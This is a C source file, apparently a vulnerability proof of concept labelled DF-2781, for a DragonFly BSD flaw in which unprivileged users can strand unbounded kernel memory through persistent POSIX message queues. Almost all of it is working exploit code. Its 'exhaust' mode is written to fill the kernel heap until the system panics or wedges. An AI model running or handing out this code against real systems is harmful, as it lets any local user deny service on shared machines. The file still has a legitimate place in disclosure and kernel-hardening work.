DF-2781 / strand.c
/* * DF-2781 โ POSIX mqueue queues and their queued messages survive the last * close (mq_close_fop destroys only when MQ_UNLINK is set, * sys_mqueue.c:391-399) and there is NO system-wide or per-user limit on * queues or queued bytes (only per-process open count and per-queue caps, * sys_mqueue.c:71-76). There is no enumeration interface, so queues whose * name is withheld by their creator can never be reclaimed short of reboot. * * An unprivileged user can therefore strand unbounded kernel heap: each * queue can legally hold mq_max_maxmsg(512) * ~16.4 KB = ~8.4 MB of * kmalloc'd messages (M_MQBUF); the creating process exits, the memory * stays. (Linux mitigates exactly this with RLIMIT_MSGQUEUE and * fs.mqueue.* sysctls; DragonFly has neither.) * * Modes: * ./strand brief โ 12 queues (~100 MB), then exit and show the * memory is still allocated in the kernel * ./strand exhaust N โ strand queues forever (N = cap), expected end * state: kernel heap exhaustion -> malloc * failure messages / panic / wedged guest * * cc -O2 -o strand strand.c */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #define MAXMSG 512 /* mq_max_maxmsg */ #define MSGSIZE 16352 /* mq_max_msgsize - sizeof(struct mq_msg) */ static int mqo(const char *name, int oflag, const long *attr) { long a[4]; memcpy(a, attr, sizeof(a)); return syscall(SYS_mq_open, name, oflag, 0600, a); } #define mqs(fd, p, l) syscall(SYS_mq_send, (fd), (p), (l), 0) #define mqc(fd) close(fd) int main(int argc, char **argv) { long attr[4] = { 0, MAXMSG, MSGSIZE, 0 }; char name[64], *buf; int exhaustive = 0, cap = 1000000, i; size_t strand_bytes = 0; setvbuf(stdout, NULL, _IONBF, 0); if (argc > 1 && strcmp(argv[1], "exhaust") == 0) { exhaustive = 1; if (argc > 2) cap = atoi(argv[2]); } else if (argc > 1 && strcmp(argv[1], "brief") == 0) { cap = 12; } else { cap = 12; } buf = malloc(MSGSIZE); memset(buf, 0x41, MSGSIZE); for (i = 0; i < cap; i++) { int fd, m; snprintf(name, sizeof(name), "/df2781_%d_%d", (int)getpid(), i); fd = mqo(name, O_RDWR | O_CREAT, attr); if (fd < 0) { printf("[%d] mq_open: %s โ stopping after stranding " "%.1f MB in %d queues\n", i, strerror(errno), (double)strand_bytes / 1048576.0, i); return 0; } for (m = 0; m < MAXMSG; m++) { if (mqs(fd, buf, MSGSIZE) != 0) { printf("[%d] mq_send #%d: %s\n", i, m, strerror(errno)); break; } strand_bytes += MSGSIZE + 32 + 64; /* data + hdr + slack */ } mqc(fd); /* last close: queue + messages PERSIST */ if (!exhaustive || (i % 12) == 0) printf("[%d] stranded running total %.1f MB " "(kernel holds it after we exit too)\n", i, (double)strand_bytes / 1048576.0); } printf("done: stranded %.1f MB in %d queues; exiting โ check " "`vmstat -m | grep mqueues` after I am gone\n", (double)strand_bytes / 1048576.0, i); return 0; } |